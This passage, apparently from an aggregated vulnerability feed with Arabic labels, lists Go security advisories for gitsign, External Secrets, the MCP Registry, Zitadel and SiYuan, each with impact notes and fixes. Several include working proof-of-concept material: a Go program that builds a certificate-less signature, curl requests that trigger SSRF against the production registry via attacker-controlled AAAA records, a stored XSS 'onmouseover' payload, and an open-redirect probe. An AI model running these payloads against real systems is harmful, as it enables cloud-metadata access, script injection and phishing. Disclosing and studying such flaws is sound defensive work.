internally invokes `gitsign --verify`). 4. `CertVerifier.Verify()` panics at `certs[0]` with `index out of range [0] with length 0`. 5. `Wrap()` recovers the panic and returns nil; process exits 0. 6. Any caller that checks only the exit code considers verification successful. ## Proof of Concept ```go // make_bad_sig.go — run from repo root: go run ./make_bad_sig.go // Then: go run main.go --verify /tmp/gitsign-badsig.pem /tmp/gitsign-data.bin; echo "exit: $?" package main import ( "crypto/x509" "encoding/pem" "fmt" "io" "os" "github.com/go-git/go-git/v5/plumbing" "github.com/go-git/go-git/v5/plumbing/object" "github.com/go-git/go-git/v5/storage/memory" cms "github.com/sigstore/gitsign/internal/fork/ietf-cms" ) func main() { raw, err := os.ReadFile("internal/e2e/testdata/offline.commit") if err != nil { panic(err) } st := memory.NewStorage() obj := st.NewEncodedObject() obj.SetType(plumbing.CommitObject) w, _ := obj.Writer() _, _ = w.Write(raw) _ = w.Close() c, err := object.DecodeCommit(st, obj) if err != nil { panic(err) } blk, _ := pem.Decode([]byte(c.PGPSignature)) if blk == nil { panic("no pem block in commit signature") } sd, err := cms.ParseSignedData(blk.Bytes) if err != nil { panic(err) } // Strip all certificates from the SignedData if err := sd.SetCertificates([]*x509.Certificate{}); err != nil { panic(err) } der, err := sd.ToDER() if err != nil { panic(err) } badSig := pem.EncodeToMemory(&pem.Block{Type: "SIGNED MESSAGE", Bytes: der}) mo := new(plumbing.MemoryObject) _ = c.EncodeWithoutSignature(mo) r, _ := mo.Reader() data, _ := io.ReadAll(r) _ = os.WriteFile("/tmp/gitsign-badsig.pem", badSig, 0644) _ = os.WriteFile("/tmp/gitsign-data.bin", data, 0644) fmt.Println("Wrote /tmp/gitsign-badsig.pem and /tmp/gitsign-data.bin") } ``` **Expected output after `go run main.go --verify /tmp/gitsign-badsig.pem /tmp/gitsign-data.bin; echo "exit: $?"`:** ``` runtime error: index out of range [0] with length 0 goroutine 1 [running]: runtime/debug.Stack(...) ... github.com/sigstore/gitsign/pkg/git.(*CertVerifier).Verify(...) pkg/git/verifier.go:114 +0x... ... exit: 0 ← process exits 0 despite verification failure ``` ## Impact - **Authentication bypass for exit-code callers**: Any script or CI pipeline running `gitsign --verify` and checking only `$?` will treat the panicked verification as a success (exit 0). This allows an attacker to make a commit appear verified without a valid signature. - **Denial of service**: Every verification attempt against a crafted signature panics, preventing legitimate verification output from being produced. - **Misleading output**: The panic stack trace is written to TTYOut (stderr in non-TTY environments), which may be silently discarded by callers that redirect stderr. - **Partial bypass of git verify-commit**: git itself is protected by the `GOODSIG` check on the status-fd; however, the exit-code bypass affects auxiliary tooling that wraps `gitsign --verify` directly. ## Recommended Remediation ### Option 1: Guard the slice access (preferred — lowest layer, protects all callers) Add an explicit length check in `CertVerifier.Verify()` immediately after `GetCertificates()`: ```go // pkg/git/verifier.go — replace lines 110–114 certs, err := sd.GetCertificates() if err != nil { return nil, fmt.Errorf("error getting signature certs: %w", err) } if len(certs) == 0 { return nil, fmt.Errorf("no certificates found in signature") } cert := certs[0] ``` This produces a clean error at the source instead of a panic, propagated through `commandVerify` as a non-nil return, so `Wrap` returns it, `Execute()` returns it, and `main.go` exits 1. ### Option 2: Return an error instead of nil on panic recovery Fix `Wrap()` to return an error when it recovers a panic, so that all callers reliably see a non-zero exit code: ```go // internal/io/streams.go — replace Wrap with named return func (s *Streams) Wrap(fn func() error) (retErr error) { defer func() { if r := recover(); r != nil { fmt.Fprintln(s.TTYOut, r, string(debug.Stack())) retErr = fmt.Errorf("panic: %v", r) // propagate as error } }() if err := fn(); err != nil { fmt.Fprintln(s.TTYOut, err) return err } return nil } ``` This is a defense-in-depth fix. It ensures that any future panic in a command results in exit 1 rather than 0. Option 1 should be applied regardless; Option 2 prevents similar bypass bugs from any other panic source. ## Credit This vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).

الإصدارات المتأثرة

All versions < 0.15.0

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

غير محدد
📦 github.com/external-secrets/external-secrets/apis 📌 All versions < 2.4.1 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go ⚡ CWE-285 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ExternalSecrets allows users to craft Service Account tokens for misconfigured Service Accounts in namespaces the users have access to. ### Impact A user who only has permission to create ExternalSecret resources can cause the operator to create a Secret that Kubernetes will au...
📅 2026-05-08 OSV/Go 🔗 التفاصيل

الوصف الكامل

ExternalSecrets allows users to craft Service Account tokens for misconfigured Service Accounts in namespaces the users have access to. ### Impact A user who only has permission to create ExternalSecret resources can cause the operator to create a Secret that Kubernetes will automatically populate with a long-lived token for the sepcified service account. This effectively allows the user to impersonate any service account in the namespace without needing direct create permissions on TokenRequest or Secrets of that type. The problem is mitigated in severity by the fact that the user must have pre-existing permissions already at almost the same level as the escalation later gives. The attacker cannot use this method to gain access to more information without other things also being misconfigured in the ESO installation. ### Patches Disallow this combination including the bootstrap token secret type. ### Workarounds * Add admission control logic to prevent the use of Templates targeting undesired Types * Remove Service Account Token generation via kube-controller-manager flags * Restrict User RBAC on production clusters and sensitive namespaces

الإصدارات المتأثرة

All versions < 2.4.1

نوع الثغرة

CWE-285 — CWE-285

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N

غير محدد
📦 github.com/modelcontextprotocol/registry 📌 All versions < 1.7.7 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Summary The Registry's HTTP-based namespace verification (`POST /v0/auth/http`, `POST /v0.1/auth/http`) uses `safeDialContext` (`internal/api/handlers/v0/auth/http.go:67-110`) to refuse dialling private/internal addresses when fetching the well-known public-key file from a p...
📅 2026-05-08 OSV/Go 🔗 التفاصيل

الوصف الكامل

### Summary The Registry's HTTP-based namespace verification (`POST /v0/auth/http`, `POST /v0.1/auth/http`) uses `safeDialContext` (`internal/api/handlers/v0/auth/http.go:67-110`) to refuse dialling private/internal addresses when fetching the well-known public-key file from a publisher-supplied domain. The blocklist (`isBlockedIP`, lines 125-133) relies entirely on Go stdlib's `IsLoopback / IsPrivate / IsLinkLocalUnicast / IsMulticast / IsUnspecified` plus a manual CGNAT range. **None of these cover IPv6 6to4 (`2002::/16`), NAT64 (`64:ff9b::/96` and `64:ff9b:1::/48` per RFC 8215), or deprecated site-local (`fec0::/10`)** — all of which encode arbitrary IPv4 in the address bits and tunnel to RFC1918 / cloud-metadata services on dual-stack / NAT64-enabled hosts. This is the same CWE-918 SSRF class fixed in **GHSA-56c3-vfp2-5qqj** on `czlonkowski/n8n-mcp` (CVSS 8.5 HIGH). The remediation pattern is identical: extend the blocklist with the IPv6 prefix families that embed IPv4. The endpoint is **unauthenticated** — it is the login flow itself — so attack complexity is low aside from the host-level routing dependency. Affected: latest `main` HEAD `23f4fda` and current production `v1.7.6` deployment at `https://registry.modelcontextprotocol.io/v0/auth/http`. ### Details #### Vulnerable code `internal/api/handlers/v0/auth/http.go:125-133`: ```go func isBlockedIP(ip net.IP) bool { if ip == nil { return true } return ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalUnicast() || ip.IsMulticast() || ip.IsUnspecified() || cgnatRange.Contains(ip) } ``` Per Go source (`src/net/ip.go`), the relevant stdlib helpers cover: | Helper | IPv6 coverage | |---|---| | `IsLoopback` | `::1`, IPv4-mapped of 127/8 (via `To4()` fast-path) | | `IsPrivate` | ULA `fc00::/7` only — `ip[0]&0xfe == 0xfc` | | `IsLinkLocalUnicast` | `fe80::/10` only — `ip[1]&0xc0 == 0x80` (NOT `fec0::/10` which is `0xc0`) | | `IsMulticast` | `ff00::/8` | | `IsUnspecified` | `::` | The Registry's blocklist therefore **does not** cover: | Prefix | Defined in | Why dangerous | |---|---|---| | `2002::/16` | RFC 3056 (6to4) | Bits 16-47 embed an arbitrary IPv4 address. `2002:a9fe:a9fe::` is the 6to4 encoding of `169.254.169.254` (AWS / Azure metadata). `2002:0a00:0001::` encodes `10.0.0.1`. On hosts with 6to4 routing or any explicit `2002::/16` route, the dial reaches the embedded IPv4. | | `64:ff9b::/96` | RFC 6052 (NAT64 well-known prefix) | Low 32 bits embed an IPv4 address. `64:ff9b::a9fe:a9fe` translates to `169.254.169.254` on any NAT64-enabled network — which is the **default** in IPv6-only GKE node pools, AWS IPv6-only EC2, Azure IPv6 VMs with NAT64, and DNS64/NAT64 corporate networks. | | `64:ff9b:1::/48` | RFC 8215 (local-use NAT64) | Same tunnelling concern, intended for operator-defined NAT64. | | `fec0::/10` | RFC 3879 (deprecated site-local) | Some BSD / older Linux stacks still honour these for routing into site-local internal networks. | `safeDialContext` resolves DNS once and dials by IP (good — pins against rebinding TOCTOU), but the IP-allowlist gate is the security boundary, and that gate is incomplete. #### Exposure surface `POST /v0/auth/http` (and `POST /v0.1/auth/http`) is registered in `internal/api/handlers/v0/auth/http.go:197-218` and routed unauthenticated in `internal/api/router/v0.go:24,39`: ```go huma.Register(api, huma.Operation{ OperationID: "exchange-http-token...", Method: http.MethodPost, Path: pathPrefix + "/auth/http", Summary: "Exchange HTTP signature for Registry JWT", ... }, func(ctx context.Context, input *HTTPTokenExchangeInput) (...) { response, err := handler.ExchangeToken(ctx, input.Body.Domain, ...) ... }) ``` The handler builds `https://<attacker-domain>/.well-known/mcp-registry-auth` (line 143) and dials via the `safeDialContext`-equipped client. The `domain` parameter is taken verbatim from the unauthenticated POST body. Critical order-of-operations confirmation in `CoreAuthHandler.ExchangeToken` (`internal/api/handlers/v0/auth/common.go:246-265`): 1. `ValidateDomainAndTimestamp(domain, timestamp)` — domain format check (no IP literal, must contain dot) 2. `DecodeAndValidateSignature(signedTimestamp)` — hex decode 3. **`keyFetcher(ctx, domain)`** ← SSRF dial happens here 4. `VerifySignatureWithKeys(...)` ← only AFTER fetch So the SSRF dial fires before any signature verification. Attacker needs only a valid RFC3339 timestamp (±15s window) and any hex string for `signedTimestamp`. ### PoC Tested against `main` HEAD `23f4fda` (`make dev-compose` boots Registry on `localhost:8080`). #### Step 1 — Set up attacker DNS Configure `attacker.example` with the AAAA records: ``` attacker-6to4.example. AAAA 2002:a9fe:a9fe:: ; 6to4 -> 169.254.169.254 attacker-nat64.example. AAAA 64:ff9b::a9fe:a9fe ; NAT64 -> 169.254.169.254 attacker-rfc1918.example. AAAA 64:ff9b::a00:0001 ; NAT64 -> 10.0.0.1 ``` (Equivalent free options: a domain on Cloudflare with manual AAAA, or a `requestbin`-style service with custom DNS.) #### Step 2 — Trigger the dial (no credentials required) ```bash curl -i https://registry.modelcontextprotocol.io/v0/auth/http \ -H 'Content-Type: application/json' \ -d "{\"domain\":\"attacker-nat64.example\",\"timestamp\":\"$(date -u +%Y-%m-%dT%H:%M:%SZ)\",\"signedTimestamp\":\"00\"}" ``` Timestamp need only be within ±15s of server clock. `signedTimestamp` is any hex string — it is decoded but only verified AFTER `FetchKey` has already dialled. #### Step 3 — Observe On a NAT64-enabled host (default in IPv6-only GKE / AWS IPv6 nodes / Cloudflare WARP), the server-side dial reaches `169.254.169.254:443`. Tcpdump on the registry host confirms the outbound TLS handshake to the embedded IPv4. Where 169.254.169.254 listens on a TLS port (most cloud metadata services do not, but kube-apiserver, internal admin panels, and bespoke IPv4 services do), the connection completes and the response (limited to 4 KiB by `MaxKeyResponseSize`) is consumed as a key candidate. For hosts without 6to4 / NAT64 routing, the dial fails with `no route to host` rather than `refusing to connect to private or loopback address` — proving the gate did not block. The differential error message provides a blind-SSRF oracle for probing internal services for existence / TLS port reachability. #### Expected behaviour after fix `isBlockedIP` should return `true` for any IPv6 address in the prefix families listed above, mirroring the n8n-mcp `isPrivateOrMappedIpv6` helper (GHSA-56c3-vfp2-5qqj patch). Reference implementation: ```go func isBlockedIPv6Prefix(ip net.IP) bool { v6 := ip.To16() if v6 == nil || ip.To4() != nil { return false } // 6to4 (2002::/16) if v6[0] == 0x20 && v6[1] == 0x02 { return true } // NAT64 well-known 64:ff9b::/96 if v6[0] == 0x00 && v6[1] == 0x64 && v6[2] == 0xff && v6[3] == 0x9b && v6[4] == 0 && v6[5] == 0 && v6[6] == 0 && v6[7] == 0 { return true } // NAT64 RFC 8215 local-use 64:ff9b:1::/48 if v6[0] == 0x00 && v6[1] == 0x64 && v6[2] == 0xff && v6[3] == 0x9b && v6[4] == 0x00 && v6[5] == 0x01 { return true } // Site-local fec0::/10 (deprecated, RFC 3879 -- still honoured by some stacks) if v6[0] == 0xfe && (v6[1]&0xc0) == 0xc0 { return true } return false } ``` Then extend the call site: ```go return ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalUnicast() || ip.IsMulticast() || ip.IsUnspecified() || cgnatRange.Contains(ip) || isBlockedIPv6Prefix(ip) ``` A regression test fixture should set up a stub resolver returning each of the four prefix families and assert that `safeDialContext` returns the "private/loopback" error before any dial. ### Impact CWE: **CWE-918** Server-Side Request Forgery (consistent with parent precedent GHSA-56c3-vfp2-5qqj). CVSS:3.1: matching the n8n-mcp precedent (`AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N` ~= **8.5 HIGH**). AC = High because exploitation depends on the registry host having NAT64 or 6to4 routing — the **default** on IPv6-only and dual-stack cloud network plans (GKE IPv6, AWS IPv6-only EC2, Azure IPv6 VMs with NAT64) but not on plain-IPv4 deployments. Privileges = None (the endpoint is the login flow itself). For the official `https://registry.modelcontextprotocol.io` deployment specifically, this lets an unauthenticated attacker reach any IPv4 address that is routable from the registry's outbound interface — including AWS / GCP / Azure metadata services if hosted on a cloud VM with metadata enabled, internal Kubernetes API servers, internal admin panels, etc. The 4 KiB response cap (`MaxKeyResponseSize`) limits exfiltrated content per request but does not prevent fingerprinting / oracle attacks (status-code differential, response-length differential). Self-hosters running the registry on dual-stack / IPv6-only infrastructure are equally exposed. ### Why this slipped past PR #1227 The April 29 hardening batch (commit `1201cbd`, "security: fix open redirect and add small hardening") explicitly added `safeDialContext` to block "loopback, RFC1918, link-local, multicast, CGNAT, or IP-literal/single-label" addresses. The author correctly identified the IPv4 attack surface and the link-local cloud-metadata vector, but composed the blocklist from Go's per-class stdlib helpers — which collectively miss the IPv6 prefix families that *embed* IPv4. The same gap was caught and fixed in n8n-mcp (GHSA-56c3-vfp2-5qqj). No commits in `git log --since=2026-03-01 internal/api/handlers/v0/auth/http.go` reference 6to4 / NAT64 / site-local. ### Credit Reported by **Matteo Panzeri** (GitHub: **matte1782**).

الإصدارات المتأثرة

All versions < 1.7.7

CVSS Vector

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N

غير محدد
📦 github.com/modelcontextprotocol/registry 📌 All versions < 1.7.7 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ## Summary The public catalogue UI served at `GET /` (file `internal/api/handlers/v0/ui_index.html`) is vulnerable to stored cross-site scripting via the `server.websiteUrl` field of any published `server.json`. Server-side validation in `internal/validators/validators.go` (`val...
📅 2026-05-08 OSV/Go 🔗 التفاصيل

الوصف الكامل

## Summary The public catalogue UI served at `GET /` (file `internal/api/handlers/v0/ui_index.html`) is vulnerable to stored cross-site scripting via the `server.websiteUrl` field of any published `server.json`. Server-side validation in `internal/validators/validators.go` (`validateWebsiteURL`) only checks that the URL parses, is absolute, and uses the `https` scheme; it does not reject quote characters. Client-side, the value is interpolated into a double-quoted `href` attribute via `innerHTML`, using a homegrown `escapeHtml` helper that performs the standard `textContent` → `innerHTML` round-trip. Per the HTML serialisation algorithm, that round-trip encodes only `&`, `<`, `>` and U+00A0 inside text nodes — it does **not** encode `"` or `'`. A literal `"` in `websiteUrl` therefore breaks out of the `href` attribute, allowing arbitrary `on*` event handlers to be appended to the same `<a>` element. The Content-Security-Policy on `/` is `script-src 'self' 'unsafe-inline' https://cdn.tailwindcss.com`, so the injected event handlers execute. Any user able to obtain a publish token (e.g. via `POST /v0/auth/github-at` with their own GitHub account, or `POST /v0/auth/none` on a deployment that has anonymous auth enabled) can plant a poisoned record visible to every visitor of the registry homepage. ## Affected component - Validator: `internal/validators/validators.go` — `validateWebsiteURL` (lines 153–199) - Sink: `internal/api/handlers/v0/ui_index.html` — `toggleDetails(card, item)` at line 432, the `href` attribute built around `escapeHtml(server.websiteUrl)` - Helper: `escapeHtml` defined at `internal/api/handlers/v0/ui_index.html` lines 494–498 ## Proof of concept 1. Obtain a Registry JWT for any namespace you control (a GitHub OAuth exchange against a throwaway account suffices): ```bash TOKEN=$(curl -sS -X POST https://registry.modelcontextprotocol.io/v0/auth/github-at \ -H 'Content-Type: application/json' \ -d '{"github_token":"<gh-pat>"}' | jq -r .registry_token) ``` 2. Publish a server with a poisoned `websiteUrl`. The literal `"` is preserved end-to-end: ```bash curl -sS -X POST https://registry.modelcontextprotocol.io/v0/publish \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ --data-binary @- <<'EOF' { "$schema": "https://static.modelcontextprotocol.io/schemas/2025-09-29/server.schema.json", "name": "io.github.<your-account>/xss-poc", "version": "0.0.1", "description": "hover the website link", "websiteUrl": "https://example.com/\"onmouseover=alert(document.domain)//" } EOF ``` 3. Visit `https://registry.modelcontextprotocol.io/`, search for `xss-poc`, click the card to expand it, then hover the **Website** link in the details panel. The injected `onmouseover` fires and `alert(document.domain)` runs on the `registry.modelcontextprotocol.io` origin. ## Why server-side validation does not catch this Go's `net/url.Parse` accepts literal `"` in the path component: ``` input="https://example.com/\"onmouseover=alert(1)//" IsAbs=true Scheme="https" Path="/\"onmouseover=alert(1)//" ``` Neither the Huma `format:"uri"` annotation nor `validateWebsiteURL`'s scheme/`IsAbs` triplet rejects this string. The architecture's existing protection — `repository.url` is regex-locked to `^https?://(www\.)?github\.com/[\w.-]+/[\w.-]+/?$` and therefore cannot contain quotes — does not extend to `websiteUrl`, which has no allowlist. ## Why client-side `escapeHtml` does not catch this ```js function escapeHtml(text) { const div = document.createElement('div'); div.textContent = text; return div.innerHTML; } ``` Per the HTML5 spec (§13.3 Serialising HTML fragments), the only characters encoded inside the text content of an element are `&`, `<`, `>`, and U+00A0. `"` and `'` are **not** encoded because in a text-content context they are not special. The helper is therefore safe in element-text contexts (where it is correctly used for `name`, `version`, `description`, etc.) but unsafe inside an attribute value, which is precisely where it is invoked for `href` on lines 432 and 426. ## Impact - Stored XSS on the official MCP Registry homepage. The malicious entry sits in the public catalogue alongside legitimate ones; any user expanding the entry triggers the payload. - Because the page is served on the official `registry.modelcontextprotocol.io` origin, the injected script can: - Read and overwrite `localStorage` (`baseUrl`, `customUrl`), pinning the user's subsequent reads to an attacker-controlled "Custom" base URL. - Issue any same-origin or cross-origin XHR (`connect-src *` is granted). - Phish for Registry JWTs by injecting fake auth flows on the trusted origin. - The CSP `script-src 'self' 'unsafe-inline' https://cdn.tailwindcss.com` does not block this because `'unsafe-inline'` permits inline event-handler attributes. ## Suggested remediation (any one suffices) 1. Replace the homegrown `escapeHtml` with an attribute-safe encoder that also escapes `"`, `'`, backtick, and `=` — the OWASP HTML attribute-encoding rule. 2. Avoid building the `href` via string templates. Use `setAttribute('href', value)` instead — `setAttribute` is not subject to HTML tokenisation, so no breakout is possible. 3. Tighten `validateWebsiteURL` to reject any URL whose raw bytes contain `"`, `'`, `<`, `>`, ` `, `\t`, or `\n`, or — conservatively — store the canonical re-serialised form (`parsedURL.String()` percent-encodes such characters in the path). 4. Drop `'unsafe-inline'` from `script-src` after auditing the inline scripts on the page. Approach (3) is the smallest server-side change and immediately neutralises the exploit for any new publishes; approaches (1) or (2) close the class of bug at the sink so future fields with similar patterns are safe by default.

الإصدارات المتأثرة

All versions < 1.7.7

CVSS Vector

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:N/SI:L/SA:L

عالية
📦 github.com/zitadel/zitadel 📌 4.0.0 → 4.15.0 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ## Summary A vulnerability was discovered in Zitadel's LDAP identity provider implementation, which fails to properly escape user-provided usernames before incorporating them into LDAP search filters. This allows unauthenticated attackers to perform LDAP Filter Injection during ...
📅 2026-05-08 OSV/Go 🔗 التفاصيل

الوصف الكامل

## Summary A vulnerability was discovered in Zitadel's LDAP identity provider implementation, which fails to properly escape user-provided usernames before incorporating them into LDAP search filters. This allows unauthenticated attackers to perform LDAP Filter Injection during the login process. ## Impact While this vulnerability does not allow for a full authentication bypass, an attacker can use LDAP metacharacters (such as `*`, `(`, `)`) to perform blind LDAP injection. By observing the different failure (or success) responses, an attacker can systematically enumerate valid usernames and extract sensitive attribute data from the connected LDAP directory. Note that an authentication bypass is not possible. ## Affected Versions Systems integrating LDAP as IdPs and running one of the following versions are affected: - **4.x**: `4.0.0` through `4.14.0` (including RC versions) - **3.x**: `3.1.0` through `3.4.9` - **2.x**: `2.71.11` through `2.71.19` ## Patches The vulnerability has been addressed in the latest releases. The patch resolves the issue by requiring the correct permission in case the verification flag is provided and only allows self-management of the email address, resp. phone number itself. - **4.x**: Upgrade to >=[4.15.0](https://github.com/zitadel/zitadel/releases/tag/v4.15.0) - **3.x**: Update to >=[3.4.10](https://github.com/zitadel/zitadel/releases/tag/v3.4.10) - **2.x**: Update to >=[3.4.10](https://github.com/zitadel/zitadel/releases/tag/v3.4.10) ## Workarounds The recommended solution is to upgrade to a patched version. If an immediate upgrade is not possible, developers should ensure their project's LDAP directory has strict access controls to limit the scope of information disclosure. ## Questions If there are any questions or comments about this advisory, please send an email to [security@zitadel.com](mailto:security@zitadel.com) ## Credits This vulnerability was identified and reported by **ProScan AppSec** ([https://proscan.one/](https://proscan.one)).

الإصدارات المتأثرة

4.0.0 → 4.15.0

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

منخفضة
📦 github.com/modelcontextprotocol/registry 📌 All versions < 1.7.6 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 # [SECURITY] registry_001 Vulnerability Report While analyzing the code logic, an area that may lead to unintended behavior under specific conditions was discovered. ## Overview - Verified Version: `c5c4b9e8890dd5754bee889b2f1417f4fe3b5ce5` - Vulnerability Type: Authentication...
📅 2026-05-08 OSV/Go 🔗 التفاصيل

الوصف الكامل

# [SECURITY] registry_001 Vulnerability Report While analyzing the code logic, an area that may lead to unintended behavior under specific conditions was discovered. ## Overview - Verified Version: `c5c4b9e8890dd5754bee889b2f1417f4fe3b5ce5` - Vulnerability Type: Authentication bypass via cross-registry OIDC token replay - Affected Location: `cmd/publisher/commands/login.go:67-105,130-135,199-224`; `cmd/publisher/auth/github-oidc.go:24-38,58-75,108-165`; `internal/api/handlers/v0/auth/github_oidc.go:75-135,229-277,280-296` - Trigger Scenario: a workflow invokes `mcp-publisher login github-oidc --registry <other-registry>` (or equivalent publish flow) and the publisher still requests a GitHub Actions ID token with the shared audience `mcp-registry`; any other registry deployment running this code can replay that token to its own `/v0/auth/github-oidc` endpoint and mint a publish-capable registry JWT for the same GitHub owner namespace. ## Root Cause The client-side and server-side GitHub OIDC flow is bound only to a global audience string, not to the specific registry instance being targeted. On the client side, the publisher always appends `audience=mcp-registry` when requesting the GitHub Actions ID token, regardless of the selected `--registry` URL. On the server side, the exchange endpoint validates only that same fixed audience and then derives publish permissions directly from `repository_owner`. As a result, a token legitimately obtained while interacting with one registry deployment remains acceptable to any other deployment that shares the same code and audience string. ## Source-to-Sink Chain 1. Source `cmd/publisher/commands/login.go:67-105,130-135,199-224` parses the user-controlled `--registry` flag into `flags.RegistryURL`, creates a `GitHubOIDCProvider`, and calls `authProvider.GetToken(ctx)` for the chosen authentication method. 2. Propagation `cmd/publisher/auth/github-oidc.go:24-38` obtains an OIDC token and immediately exchanges it against the selected registry URL. `cmd/publisher/auth/github-oidc.go:58-75` builds `exchangeURL := o.registryURL + "/v0/auth/github-oidc"` and posts the GitHub token to whichever registry instance was selected. `cmd/publisher/auth/github-oidc.go:108-165` constructs `fullURL := requestURL + "&audience=mcp-registry"` and therefore requests the same audience for every registry deployment. 3. Sink `internal/api/handlers/v0/auth/github_oidc.go:75-135` validates only the shared audience value passed into `ValidateToken`. `internal/api/handlers/v0/auth/github_oidc.go:254-277` calls `h.validator.ValidateToken(ctx, oidcToken, "mcp-registry")` and, on success, signs a new registry JWT. `internal/api/handlers/v0/auth/github_oidc.go:280-296` converts `claims.RepositoryOwner` into the publish permission pattern `io.github.<owner>/*`, which is then embedded into the new registry JWT. ## Exploitation Preconditions 1. The victim uses the GitHub Actions OIDC publishing path. 2. The victim workflow targets another registry deployment first, such as staging, self-hosted infrastructure, or an attacker-controlled registry URL. 3. The receiving registry deployment can observe the posted OIDC token and replay it before expiry to another registry deployment running the same shared audience configuration. ## Risk This breaks deployment isolation between registry instances. A token issued for one registry interaction can be replayed across trust boundaries, allowing one deployment to impersonate the same GitHub owner identity on another deployment. ## Impact An attacker-controlled or compromised registry deployment can mint a valid registry JWT on another deployment and inherit publish permissions for the victim GitHub owner namespace. In practical terms, this enables unauthorized publication or update actions for names such as `io.github.<owner>/*` on the victim registry instance. ## Remediation 1. Replace the shared audience string with a registry-specific audience, such as a deployment-specific client ID or origin-derived identifier. 2. Ensure the publisher requests the audience that matches the exact registry instance it is targeting, and ensure the server validates that same instance-specific value. 3. Consider binding the exchange to additional deployment-specific claims so that a token captured by one registry cannot be replayed on another. 4. Add regression tests that cover cross-deployment replay attempts between different registry URLs.

الإصدارات المتأثرة

All versions < 1.7.6

CVSS Vector

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N

غير محدد
📦 github.com/modelcontextprotocol/registry 📌 1.1.0 → 1.7.5 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Summary The TrailingSlashMiddleware in internal/api/server.go is vulnerable to an open redirect attack. An attacker can craft a URL with a protocol-relative path (e.g., //evil.com/) that, after trailing slash removal, results in a Location header of //evil.com — which browser...
📅 2026-05-08 OSV/Go 🔗 التفاصيل

الوصف الكامل

### Summary The TrailingSlashMiddleware in internal/api/server.go is vulnerable to an open redirect attack. An attacker can craft a URL with a protocol-relative path (e.g., //evil.com/) that, after trailing slash removal, results in a Location header of //evil.com — which browsers interpret as an absolute URL to an external domain. ### Details The TrailingSlashMiddleware strips trailing slashes from request paths and issues a 308 Permanent Redirect to the cleaned path. However, it does not validate or sanitize the resulting path before using it as the redirect target. When a request is made with a path like //evil.com/, the middleware processes it as follows: ### PoC 1. Start the registry server locally or identify a deployed instance 2. Send a request with a double-slash path followed by an external domain: `curl -v https://<registry-host>//evil.com/` <img width="3066" height="969" alt="image" src="https://github.com/user-attachments/assets/a5305f00-29bf-4708-952a-478d608f2074" /> 3. Observe the 308 Permanent Redirect response with Location: //evil.com: 4. When accessed in a browser, the user is redirected to https://evil.com ### Impact **Phishing**: Attackers can abuse the trusted registry domain to redirect users to credential-harvesting pages **Malware distribution**: Redirect users to sites serving malicious downloads **Trust abuse:** Links originating from the official MCP Registry domain carry implicit trust

الإصدارات المتأثرة

1.1.0 → 1.7.5

CVSS Vector

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

حرجة
📦 github.com/siyuan-note/siyuan/kernel 📌 All versions < 0 🖥️ نظام تشغيل 🐹 مكتبة Go Go 🎯 عن بعد ⚪ لم تُستغل
💬 ## Summary The kernel stores Attribute View (AV / database) names without any HTML escape, then a render template uses raw `strings.ReplaceAll(tpl, "${avName}", nodeAvName)` to embed the name in HTML before pushing to all clients via WebSocket. Three independent client paths (`r...
📅 2026-05-08 OSV/Go 🔗 التفاصيل

الوصف الكامل

## Summary The kernel stores Attribute View (AV / database) names without any HTML escape, then a render template uses raw `strings.ReplaceAll(tpl, "${avName}", nodeAvName)` to embed the name in HTML before pushing to all clients via WebSocket. Three independent client paths (`render.ts:120` → `outerHTML`, `Title.ts:401` → `innerHTML`, `transaction.ts:559` → `innerHTML`) consume the value without escaping. Because the main BrowserWindow runs `nodeIntegration:true, contextIsolation:false, webSecurity:false` (`app/electron/main.js:407-411`), HTML injection in the renderer becomes Node.js code execution. Payload is stored on disk under `data/storage/av/<id>.json`, replicates via every sync transport (S3 / WebDAV / cloud), survives `.sy.zip` export-import, and triggers for any role (Administrator / Editor / Reader / publish-service Visitor) opening a doc bound to the AV. ## Details **Kernel write — no escape.** `kernel/model/attribute_view.go:3244-3255`: ```go attrView.Name = strings.TrimSpace(operation.Data.(string)) attrView.Name = strings.ReplaceAll(attrView.Name, "\n", " ") if 512 < utf8.RuneCountInString(attrView.Name) { attrView.Name = gulu.Str.SubStr(attrView.Name, 512) } err = av.SaveAttributeView(attrView) // ← no html.EscapeString ``` **Kernel template — raw replace.** `kernel/model/attribute_view.go:3242,3283-3284`: ```go const attrAvNameTpl = `<span data-av-id="${avID}" ... class="popover__block">${avName}</span>` // ... tpl := strings.ReplaceAll(attrAvNameTpl, "${avID}", nodeAvID) tpl = strings.ReplaceAll(tpl, "${avName}", nodeAvName) // ← raw ``` **Sink #1 — AV body header → outerHTML.** `app/src/protyle/render/av/render.ts:120` (returned from `genTabHeaderHTML`, written via outerHTML at `render.ts:596`): ```ts <div contenteditable="${editable}" ... data-title="${data.name || ""}" ...>${data.name || ""}</div> // ... e.firstElementChild.outerHTML = `<div 